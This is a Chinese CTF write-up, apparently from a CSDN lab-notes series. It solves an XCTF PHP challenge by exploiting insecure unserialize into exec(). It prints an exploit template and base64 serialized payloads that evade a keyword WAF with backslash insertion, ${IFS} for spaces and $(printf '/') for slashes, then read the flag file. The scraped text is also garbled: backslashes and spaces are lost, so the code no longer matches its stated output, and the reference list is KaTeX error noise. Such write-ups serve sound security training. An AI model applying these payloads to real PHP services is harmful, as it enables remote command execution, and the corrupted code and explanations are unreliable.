关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:Write UP
本关是一个 PHP 代码审计关卡,考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段,下面笔者将带你一步步过关。
代码审计,首先定位题目中的敏感函数,笔者这里定位到了如下函数:
?function ping($ip){
? ? ?exec($ip, $result); // exec 执行 $ip 传递来的命令,并将结果写入到 $result 中
? ? ?var_dump($result); ?// 展示 $result 的内容
?}
看到 exec()
可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计,看看哪里有机会调用 ping()
函数,笔者将目光放到了这里:
?// __destruct() 当对象销毁时触发
?function __destruct(){
? ? ?// 如果 $this->method 为 ping 则会进入函数调用
? ? ?if (in_array($this->method, array("ping"))) {
? ? ? ? ?// call_user_func_array => 调用回调函数,并把 $this->args 数组传递过去作为参数
? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args);
? ? }
?}
结合上面两个函数,很明显,我们要生成一个对象,并给这个对象的 $this->method
赋值为 ping
,让其调用 function ping($ip)
函数,如果成功那么 $this->args
里就可以是我们赋值给它的任意的命令。
下面我们来看看题目类的构造方法(初始化方法):
?function __construct($method, $args) { // 构造方法,接收两个传参
? ? ?$this->method = $method; // 将 $method 传递到 $this->method 中
? ? ?$this->args = $args; // 将 $args 传递到 $this->args
?}
通过之前的分析,我们知道了,$method
我们要赋值为 ping
,$this->args
中就是我们进行命令执行的参数,我们的目标是获取 Flag,但是目前我们连 Flag 的位置都不知道,所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的,所以我们想要执行的命令为 ls
,即列出目标当前目录下的内容。这里还有一个注意点,$this->args
传递的是一个数组类型的数据,为啥?我们先来看一下 call_user_func_array()
函数的定义:
PHP 官方文档中写名的,该函数第一个接收的是回调函数,第二个接收的是参数数组。
所以,基于前面的一套分析,我们可以得出,我们需要实例化一个这样的对象:
?$ctf = new ease('ping', array('ls'));
所以,我们最终的题解模板程序如下所示:
?<?php
?class ease{
? ? ?
? ? ?private $method;
? ? ?private $args;
? ? ?function __construct($method, $args) {
? ? ? ? ?$this->method = $method;
? ? ? ? ?$this->args = $args;
? ? }
?
? ? ?function __destruct(){
? ? ? ? ?if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
? ? ? ? ? ? ?call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
? ? ? ? ? ? ?// $this 即 ease 这个对象, $this->method 你想要调用的 ease 类中的函数名 => ping
? ? ? ? }
? ? }
?
? ? ?function ping($ip){
? ? ? ? ?exec($ip, $result); // 让 exec 执行我们传入的命令,并将结果传入 $result 中
? ? ? ? ?var_dump($result); ?// 展示结果 => 考点,命令执行
? ? }
??
? ? ?function waf($str){
? ? ? ? ?if (!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
? ? ? ? ? ? ?return $str;
? ? ? ? } else {
? ? ? ? ? ? ?echo "don't hack";
? ? ? ? }
? ? }
?
? ? ?function __wakeup(){ // 执行 unserialize 调用此方法
? ? ? ? ?foreach($this->args as $k => $v) {
? ? ? ? ? ? ?$this->args[$k] = $this->waf($v);
? ? ? ? }
? ? } ?
?}
??
?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf)); // 运行代码,这里会显示序列化解
?echo "
";
?// $ctf=@$_POST['ctf'];
?// @unserialize(base64_decode($ctf));
??>
下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码,运行后我们会得到一个进行 Base64 编码后的 ease
对象的序列化内容,当目标服务端接收后,会执行反序列化操作。
首先进入 __wakeup()
函数,该函数会调用 waf()
方法,将我们传递的 array()
数组中的每一个元素都过一遍 WAF,如果出现黑名单字符,就会输出 don't hack
,反之则会返回。
我们将要执行的 ls
很明显在黑名单中,绕过很简单,使用 即可,在 Linux 操作系统中 ls
与 ls
是等价的:
所以,我们可以使用如下对象构建序列化内容执行 ls
命令:
?$ctf = new ease('ping', array('ls'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319
如上,我们成功得到了 Flag 的存放地址,此时注意了页面显示的 flag_1s_here
是个文件夹不是文件哦(笔者偷懒少测一步,不信你 cat
一下这个文件,你啥也读不到,还会怀疑自己)。
知道了 Flag 存放的文件夹,下面我们要去读取这个文件夹下面的内容,使用 ls flag_1s_here
构建序列化内容读取?你会发现,上面那个命令中空格与 flag
都是黑名单内容,这里又考察了命令执行的空格绕过。在 Linux 系统中,我们可以使用 ${IFS}
进行空格的绕过。所以修改后的 Payload 如下:
?$ctf = new ease('ping', array('ls${IFS}flag_1s_here'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=
至此,我们已经成功获得 Flag 的文件地址:
?flag_1s_here/flag_831b69012c67b35f.php
然后问题又来了,/
也被过滤了。咋搞,这里我们需要使用 Linux 内联代码进行绕过,先来看个 /
的等价写法:
所以我们最终的题解 Payload 如下:
?$ctf = new ease('ping', array('cat${IFS}flag_1s_here$(printf${IFS}"/")flag_831b69012c67b35f.php'));
?echo base64_encode(serialize($ctf));
?// 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=
0x02:参考链接
[ I F S − A 思 − 博客园 IFS - A思 - 博客园 IFS−A思−博客园IFS 是linux中的命令 I F S 默认指定 s p a c e , t a b , 换行也可以自己指定 IFS默认指定space,tab,换行 也可以自己指定 IFS默认指定space,tab,换行也可以自己指定IFS,例:IFS=‘&’ $IFS可以把多个符号和并,如下: mm=11&&22&&33, echo KaTeX parse error: Expected 'EOF', got '&' at position 21: …/11 22 33,实际是11&̲https://www.cnb…IFS - A思 - 博客园")
[shell中的 I F S 变量和 IFS变量和 IFS变量和*-CSDN博客文章浏览阅读5.4k次,点赞7次,收藏21次。IFS表示 Internal Field Separator(内部字段分隔符)_ i f s h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 ] ( h t t p s : / / b l o g . c s d n . n e t / l i l o n g s y / a r t i c l e / d e t a i l s / 108239183 " s h e l l 中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183 "shell中的 ifshttps://blog.csdn.net/lilongsy/article/details/108239183](https://blog.csdn.net/lilongsy/article/details/108239183"shell中的IFS变量和$*-CSDN博客")